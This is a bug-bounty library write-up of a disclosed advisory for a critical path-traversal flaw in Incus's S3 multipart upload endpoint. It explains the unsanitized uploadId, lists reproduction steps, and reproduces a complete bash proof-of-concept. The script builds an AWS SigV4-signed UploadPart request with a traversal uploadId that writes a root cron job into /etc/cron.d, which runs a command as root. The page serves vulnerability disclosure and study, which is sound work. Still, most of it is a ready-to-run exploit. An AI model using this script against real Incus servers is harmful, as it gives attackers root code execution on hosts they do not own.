# Incus has an arbitrary file write via path traversal in S3 multipart upload

Incus S3 multipart upload endpoint appends the user-supplied uploadId to the uploads directory unsanitized, letting an authenticated S3 client path-traverse and write arbitrary host files like /etc/cron.d entries.

- Payout: Research
- Severity: critical
- Program: Incus
- Found by: antifob
- Disclosed: 2026-06-26
- CVE: CVE-2026-48753
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-ccjc-4qc3-jxqc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-ccjc-4qc3-jxqc
- Tags: area:cloud domain:infra impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:go tech:s3 technique:source-review vuln:path-traversal vuln:rce

**Target:** S3-compatible storage bucket API (multipart upload endpoint)
**Root cause:** In internal/server/storage/s3/local/multipart.go the user-controlled uploadId is concatenated into the uploads directory path without sanitization, so `../` sequences escape the intended directory.
**Steps:**
1. Enable the S3 API and create a bucket: `incus config set core.storage_buckets_address=:8555` then `incus storage volume create default bucket`, note credentials.
2. Craft a multipart upload part request with `uploadId` set to a traversal string ending in a target directory, e.g. `../../.../etc/cron.d`, and `partNumber=1`.
3. Sign the request with AWS SigV4 (host, x-amz-content-sha256, x-amz-date) and PUT the part body containing a cron line `* * * * * root /bin/sh -c 'id > /incus-s3-uploadid-bash-rce; rm -f /etc/cron.d/part-00001'`.
4. The server writes the body to `/etc/cron.d/part-00001`, which cron executes as root.
**How found:** Code review of the S3 local multipart handler spotted the uploadId being appended to the uploads directory path without sanitization.
**Exploitation:** An authenticated S3 client sends a signed UploadPart request whose uploadId traverses out of the uploads directory; the part body is written to an attacker-chosen host path. Writing a cron.d file yields root command execution on the next cron tick.
**Escalation:** Arbitrary file write escalated to root RCE by targeting /etc/cron.d.
**Insight:** S3-compatible storage backends that map uploadId/partNumber directly onto filesystem paths are traversal-prone; test uploadId and partNumber with `../` sequences even when the request is SigV4-signed, since signing does not sanitize path components.

## Proof of concept (copied exactly from the original report)

**Bash script exploiting uploadId path traversal**

```
#!/usr/bin/env bash
set -euo pipefail

if [ $# -lt 4 ]; then
	printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2
	exit 1
fi

endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"

region="us-east-1"
service="s3"
key="anything"
part="1"
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target"
body="* * * * * root /bin/sh -c '$cmd'
"

uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key"
uri_path="${uri_path#/}"
uri_path="/$uri_path"
host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
qs="partNumber=$part&uploadId=${upload_id//\//%2F}"
url="$endpoint/$bucket/$key?$qs"

amz_date=$(date -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
scope="$date_scope/$region/$service/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
signed="host;x-amz-content-sha256;x-amz-date"

canonical="PUT
$uri_path
$qs
host:$host
x-amz-content-sha256:$body_hash
x-amz-date:$amz_date

$signed
$body_hash"
canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')"
string_to_sign="AWS4-HMAC-SHA256
$amz_date
$scope
$canonical_hash"

hmac_hex() {
	printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256
}

k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"

printf '# body:\n%s' "${body}"

curl -ksS -X PUT "${url}" \
	-H "Host: ${host}" \
	-H "X-Amz-Date: ${amz_date}" \
	-H "X-Amz-Content-Sha256: ${body_hash}" \
	-H "Authorization: ${auth}" \
	--data-binary "${body}"
```

